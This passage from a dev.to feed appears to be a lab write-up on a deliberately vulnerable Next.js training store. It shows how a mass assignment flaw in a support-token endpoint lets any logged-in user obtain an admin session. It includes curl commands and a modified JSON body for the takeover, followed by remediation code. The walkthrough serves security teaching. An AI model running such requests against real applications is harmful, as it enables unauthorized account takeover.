&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;randomBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;hex&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Drop the &lt;code&gt;requestedAt&lt;/code&gt; field from the response, and add rate limiting on the endpoint.&lt;/p&gt;
&lt;h2&gt;
  
  
  Lab
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/kOaDT" rel="noopener noreferrer"&gt;
        kOaDT
      &lt;/a&gt; / &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;
        oss-oopssec-store
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Security training for the apps you actually ship. Open your browser and start hacking.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;OSS - OopsSec Store&lt;/h1&gt;
&lt;/div&gt;


&lt;/div&gt;

&lt;div&gt;
&lt;p&gt;
&lt;b&gt;Security training for the apps you actually ship.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
36 challenges across &lt;b&gt;web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Break a deliberately vulnerable e-commerce app built on &lt;b&gt;Next.js, React, TypeScript and Prisma&lt;/b&gt;.&lt;br&gt;
Find the bugs. Exploit them. Understand why they work
&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://hub.docker.com/r/leogra/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Docker Hub&lt;/a&gt; ·
&lt;a href="https://www.npmjs.com/package/create-oss-store" rel="nofollow noopener noreferrer"&gt;npm&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store/roadmap" rel="nofollow noopener noreferrer"&gt;Roadmap&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Walkthroughs&lt;/a&gt; ·
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/CONTRIBUTING.md" rel="noopener noreferrer"&gt;Contributing&lt;/a&gt; ·
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;Good first issues&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;a href="https://vwad.owasp.org/app/oopssec-store/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/189b82eed6666df94ebcdb32012ee7092da37f7dc9c2a8b0174841239e0c3b63/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4f574153502d565741442d3030303030303f7374796c653d666c61742d737175617265266c6f676f3d6f77617370266c6f676f436f6c6f723d7768697465" alt="OWASP VWAD"&gt;&lt;/a&gt;
&lt;a href="https://tryhackme.com/jr/oopssecstorethesummeraudit" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b61e022aae697920c7a659ae1c96783a8e022dbc60bd088083799868c63fc6b8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5472794861636b4d652d5468655f53756d6d65725f41756469742d3231324334323f7374796c653d666c61742d737175617265266c6f676f3d7472796861636b6d65266c6f676f436f6c6f723d7768697465" alt="TryHackMe room"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265"&gt;&lt;img src="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265" alt="Intentionally Vulnerable"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/LICENSE" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/850c1966f1db3039f3da33520d3d53267b980d780d01861a291ee8eeedd4c388/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d666c61742d737175617265" alt="GitHub license"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/pulls" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b9794c36c8acae9ee430571528e7cff7c489b661499684da5399059ecf4631f1/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5052732d77656c636f6d652d627269676874677265656e3f7374796c653d666c61742d737175617265" alt="PRs Welcome"&gt;&lt;/a&gt;
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/fd668a18d043e13705ac71a7a30138bd83d730d5f6a4f0c4e83ee9b4916052f4/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f476f6f645f66697273742d6973737565732d3730353766663f7374796c653d666c61742d737175617265" alt="Good first issues"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/stargazers" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/5f5ee149d7031a72197c539543ddbab7ed2405ec92343de94ed4045cc74bad63/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub stars"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/network" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b715a1915845893b3bb2c70be7b1e6929512f329d8674e459494a24708bedf13/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f666f726b732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub forks"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;   ____  ____ ____     ____                  ____            ____  _
  / __ &lt;span class="pl-cce"&gt;\/&lt;/span&gt; __// __/    / __ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;    / /_/ // _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ _ &lt;span class="pl-cce"&gt;\(&lt;/span&gt;_-&lt;span class="pl-k"&gt;&amp;lt;&lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / -_)/ __/_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / __// _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ __// -_)
 &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/___//___/     &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__// .__/___/___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_//___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__//_/   &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/
                                /_/
&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Start with Node.js&lt;/span&gt;
npx&lt;/pre&gt;…
&lt;/div&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;






&lt;h2&gt;
  
  
  Disclaimers
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Do not deploy OopsSec Store on a production server.&lt;/strong&gt; This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do not exploit vulnerabilities on systems you don’t have explicit authorization to test.&lt;/strong&gt; Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Feedback &amp;amp; Support
&lt;/h2&gt;

&lt;p&gt;Having trouble following this writeup? Found a typo or have suggestions for improvement?&lt;/p&gt;

&lt;p&gt;Feel free to open an issue or start a discussion on &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>nextjs</category>
      <category>javascript</category>
      <category>webdev</category>
    </item>
    <item>
      <title>How one email field in a support form handed me the admin account</title>
      <dc:creator>Oopssec Store</dc:creator>
      <pubDate>Tue, 01 Sep 2026 19:00:00 +0000</pubDate>
      <link>https://dev.to/oopssec-store/how-one-email-field-in-a-support-form-handed-me-the-admin-account-447d</link>
      <guid>https://dev.to/oopssec-store/how-one-email-field-in-a-support-form-handed-me-the-admin-account-447d</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Exploiting a mass assignment flaw in a support access token endpoint to generate a session for the admin account and access the admin dashboard.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;OopsSec Store has a support access feature that lets users generate tokens so customer support can log into their accounts. The token generation endpoint accepts an &lt;code&gt;email&lt;/code&gt; parameter from the request body without any ownership check, which means any authenticated user can generate a support token for any account, including the administrator.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lab setup
&lt;/h2&gt;

&lt;p&gt;From an empty directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx create-oss-store oss-store
&lt;span class="nb"&gt;cd &lt;/span&gt;oss-store
npm start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Or with Docker (no Node.js required):&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-p&lt;/span&gt; 127.0.0.1:3000:3000 leogra/oss-oopssec-store
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Head to &lt;code&gt;http://localhost:3000&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Target identification
&lt;/h2&gt;

&lt;p&gt;The user profile page has a "Support Access" tab. This feature generates a temporary token URL that a support agent can use to log into the account without a password, a common pattern in SaaS applications.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkdhzhyj8zop7lrgi7nth.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkdhzhyj8zop7lrgi7nth.webp" alt="Support Access tab on the user profile page" width="800" height="317"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The endpoint behind it:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;POST /api/user/support-access
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Clicking "Generate Support Access Token" creates a JWT-based token tied to the authenticated user's account. A support agent visits the generated URL and gets a full session.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ff04ot4bpf76rprr5xrsz.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ff04ot4bpf76rprr5xrsz.webp" alt="Support access token generation interface" width="799" height="601"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The problem is that the endpoint blindly trusts the request body to determine which account the token is generated for.&lt;/p&gt;
&lt;h2&gt;
  
  
  Exploitation
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Step 1: Create a regular account
&lt;/h3&gt;

&lt;p&gt;Sign up on the application with any email and password. The only requirement is an authenticated session.&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 2: Locate the support access feature
&lt;/h3&gt;

&lt;p&gt;Go to the profile page and open the Support Access tab. The "Generate Support Access Token" button triggers a POST request to &lt;code&gt;/api/user/support-access&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 3: Intercept the token generation request
&lt;/h3&gt;

&lt;p&gt;Open DevTools (Network tab) or set up Burp Suite as a proxy before clicking the button. The default request body is either empty or contains the authenticated user's email.&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 4: Replay the request with the admin email
&lt;/h3&gt;

&lt;p&gt;Replay the POST request with a modified body:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"admin@oss.com"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;With curl:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Log in as a regular user to grab the session cookie&lt;/span&gt;
curl &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:3000/api/auth/login &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"email":"alice@example.com","password":"iloveduck"}'&lt;/span&gt;

&lt;span class="c"&gt;# Generate a support token for the admin account&lt;/span&gt;
curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:3000/api/user/support-access &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"email":"admin@oss.com"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The response contains a support token tied to the admin account instead of the authenticated user's account.&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 5: Log in as admin
&lt;/h3&gt;

&lt;p&gt;Open the &lt;code&gt;supportLoginUrl&lt;/code&gt; from the response in a browser:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://localhost:3000/support-login?token=&amp;lt;the-token-from-step-4&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The application validates the token, resolves it to the admin user, and creates a full authenticated session.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ff1nwnsxw44naisl73jtn.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ff1nwnsxw44naisl73jtn.webp" alt="Logged in as admin through the support login flow" width="374" height="68"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 6: Access the admin dashboard
&lt;/h3&gt;

&lt;p&gt;Navigate to &lt;code&gt;http://localhost:3000/admin&lt;/code&gt;. The flag is on the dashboard.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4cle84xzp6qik72hr3vi.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4cle84xzp6qik72hr3vi.webp" alt="Admin dashboard displaying the flag" width="800" height="418"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Vulnerable code analysis
&lt;/h2&gt;

&lt;p&gt;The root cause is a mass assignment flaw in the token generation endpoint:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;targetEmail&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The server accepts an &lt;code&gt;email&lt;/code&gt; field from the request body and uses it to determine which account the token is generated for. If no email is provided, it defaults to the authenticated user's email. If one is provided, it generates a token for that account with no ownership check.&lt;/p&gt;

&lt;p&gt;The mass assignment is the primary flaw, but the endpoint has other problems that make exploitation worse.&lt;/p&gt;

&lt;p&gt;Tokens are valid for 365 days. A support token should expire in hours, not a year. An attacker who generates one token has persistent access to the target account for as long as it lives.&lt;/p&gt;

&lt;p&gt;Revocation is cosmetic. The application has a "Revoke" button that marks the token as revoked in the database, but the support login endpoint never checks that flag. A revoked token still works.&lt;/p&gt;

&lt;p&gt;There is also no rate limiting on the endpoint. An attacker can generate tokens for every user in the system in a single loop.&lt;/p&gt;
&lt;h2&gt;
  
  
  Historical context
&lt;/h2&gt;

&lt;p&gt;Egor Homakov exploited &lt;a href="https://homakov.blogspot.com/2012/03/how-to.html" rel="noopener noreferrer"&gt;the same kind of mass assignment flaw on GitHub in 2012&lt;/a&gt;, adding himself as an admin on the Rails repository. The mechanism was the same: the server used client-supplied input to determine authorization where it should not have. This class of bug keeps showing up in support access and impersonation features because developers assume the frontend is the only caller.&lt;/p&gt;
&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Remove the mass assignment
&lt;/h3&gt;

&lt;p&gt;The server already knows who the authenticated user is. Use that:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;targetEmail&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Always use the authenticated user's email&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Reduce token lifetime
&lt;/h3&gt;

&lt;p&gt;Twelve hours is generous for a support session. Some applications use one to two hours:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;TOKEN_EXPIRY_HOURS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;expiresAt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setHours&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;expiresAt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getHours&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;TOKEN_EXPIRY_HOURS&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Enforce revocation checks
&lt;/h3&gt;

&lt;p&gt;The support login handler must verify the revocation flag before creating a session:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;supportToken&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;revoked&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Token revoked&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;401&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Additional hardening
&lt;/h3&gt;

&lt;p&gt;Rate limiting on the token generation endpoint would also help. One token per user per hour is more than enough. On top of that, requiring re-authentication (password confirmation) before generating support tokens would block any attacker who only has session cookies.&lt;/p&gt;
&lt;h2&gt;
  
  
  Lab
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/kOaDT" rel="noopener noreferrer"&gt;
        kOaDT
      &lt;/a&gt; / &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;
        oss-oopssec-store
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Security training for the apps you actually ship. Open your browser and start hacking.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;OSS - OopsSec Store&lt;/h1&gt;
&lt;/div&gt;


&lt;/div&gt;

&lt;div&gt;
&lt;p&gt;
&lt;b&gt;Security training for the apps you actually ship.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
36 challenges across &lt;b&gt;web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Break a deliberately vulnerable e-commerce app built on &lt;b&gt;Next.js, React, TypeScript and Prisma&lt;/b&gt;.&lt;br&gt;
Find the bugs. Exploit them. Understand why they work
&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://hub.docker.com/r/leogra/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Docker Hub&lt;/a&gt; ·
&lt;a href="https://www.npmjs.com/package/create-oss-store" rel="nofollow noopener noreferrer"&gt;npm&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store/roadmap" rel="nofollow noopener noreferrer"&gt;Roadmap&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Walkthroughs&lt;/a&gt; ·
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/CONTRIBUTING.md" rel="noopener noreferrer"&gt;Contributing&lt;/a&gt; ·
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;Good first issues&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;a href="https://vwad.owasp.org/app/oopssec-store/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/189b82eed6666df94ebcdb32012ee7092da37f7dc9c2a8b0174841239e0c3b63/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4f574153502d565741442d3030303030303f7374796c653d666c61742d737175617265266c6f676f3d6f77617370266c6f676f436f6c6f723d7768697465" alt="OWASP VWAD"&gt;&lt;/a&gt;
&lt;a href="https://tryhackme.com/jr/oopssecstorethesummeraudit" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b61e022aae697920c7a659ae1c96783a8e022dbc60bd088083799868c63fc6b8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5472794861636b4d652d5468655f53756d6d65725f41756469742d3231324334323f7374796c653d666c61742d737175617265266c6f676f3d7472796861636b6d65266c6f676f436f6c6f723d7768697465" alt="TryHackMe room"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265"&gt;&lt;img src="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265" alt="Intentionally Vulnerable"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/LICENSE" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/850c1966f1db3039f3da33520d3d53267b980d780d01861a291ee8eeedd4c388/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d666c61742d737175617265" alt="GitHub license"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/pulls" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b9794c36c8acae9ee430571528e7cff7c489b661499684da5399059ecf4631f1/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5052732d77656c636f6d652d627269676874677265656e3f7374796c653d666c61742d737175617265" alt="PRs Welcome"&gt;&lt;/a&gt;
